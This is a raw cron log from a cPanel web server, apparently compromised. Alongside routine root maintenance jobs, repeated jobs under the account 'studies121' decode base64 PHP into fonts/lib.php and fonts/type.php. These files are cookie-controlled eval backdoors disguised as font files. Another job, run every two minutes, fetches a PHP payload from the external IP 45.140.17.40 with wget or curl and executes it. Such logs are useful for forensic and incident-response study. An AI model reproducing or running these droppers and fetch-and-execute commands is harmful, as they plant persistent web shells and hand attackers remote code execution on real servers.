Feb 22 10:39:01 ip-184-168-122-23 CROND[2321]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 10:39:01 ip-184-168-122-23 CROND[2322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:39:01 ip-184-168-122-23 CROND[2323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:40:01 ip-184-168-122-23 CROND[2661]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 10:40:01 ip-184-168-122-23 CROND[2663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:40:01 ip-184-168-122-23 CROND[2670]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:40:01 ip-184-168-122-23 CROND[2669]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:40:01 ip-184-168-122-23 CROND[2665]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:40:01 ip-184-168-122-23 CROND[2666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:40:01 ip-184-168-122-23 CROND[2671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:40:01 ip-184-168-122-23 CROND[2677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:41:01 ip-184-168-122-23 CROND[3030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:41:01 ip-184-168-122-23 CROND[3032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:41:01 ip-184-168-122-23 CROND[3033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:41:01 ip-184-168-122-23 CROND[3035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:42:01 ip-184-168-122-23 CROND[3442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:42:01 ip-184-168-122-23 CROND[3445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:42:01 ip-184-168-122-23 CROND[3446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:42:01 ip-184-168-122-23 CROND[3449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:42:01 ip-184-168-122-23 CROND[3450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:43:01 ip-184-168-122-23 CROND[3772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:43:01 ip-184-168-122-23 CROND[3771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:43:01 ip-184-168-122-23 CROND[3773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:43:01 ip-184-168-122-23 CROND[3774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:44:01 ip-184-168-122-23 CROND[4136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:44:01 ip-184-168-122-23 CROND[4137]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:44:01 ip-184-168-122-23 CROND[4138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:44:01 ip-184-168-122-23 CROND[4140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:44:01 ip-184-168-122-23 CROND[4141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:45:01 ip-184-168-122-23 CROND[4447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:45:01 ip-184-168-122-23 CROND[4449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:45:01 ip-184-168-122-23 CROND[4450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:45:01 ip-184-168-122-23 CROND[4452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:45:01 ip-184-168-122-23 CROND[4453]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:45:01 ip-184-168-122-23 CROND[4451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:46:01 ip-184-168-122-23 CROND[4797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:46:02 ip-184-168-122-23 CROND[4799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:46:02 ip-184-168-122-23 CROND[4802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:46:02 ip-184-168-122-23 CROND[4800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:46:02 ip-184-168-122-23 CROND[4801]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 10:46:02 ip-184-168-122-23 CROND[4803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:47:01 ip-184-168-122-23 CROND[5123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:47:01 ip-184-168-122-23 CROND[5126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:47:01 ip-184-168-122-23 CROND[5127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:47:01 ip-184-168-122-23 CROND[5125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:48:01 ip-184-168-122-23 CROND[5541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:48:01 ip-184-168-122-23 CROND[5545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:48:01 ip-184-168-122-23 CROND[5546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:48:01 ip-184-168-122-23 CROND[5544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:48:01 ip-184-168-122-23 CROND[5543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:49:01 ip-184-168-122-23 CROND[5865]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Feb 22 10:49:01 ip-184-168-122-23 CROND[5866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:49:01 ip-184-168-122-23 CROND[5867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:49:01 ip-184-168-122-23 CROND[5868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:49:01 ip-184-168-122-23 CROND[5869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:50:01 ip-184-168-122-23 CROND[6203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 10:50:01 ip-184-168-122-23 CROND[6207]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 10:50:01 ip-184-168-122-23 CROND[6209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:50:01 ip-184-168-122-23 CROND[6210]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:50:01 ip-184-168-122-23 CROND[6212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:50:01 ip-184-168-122-23 CROND[6217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:50:01 ip-184-168-122-23 CROND[6218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:50:01 ip-184-168-122-23 CROND[6219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:50:01 ip-184-168-122-23 CROND[6216]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:51:01 ip-184-168-122-23 CROND[6601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:51:01 ip-184-168-122-23 CROND[6599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
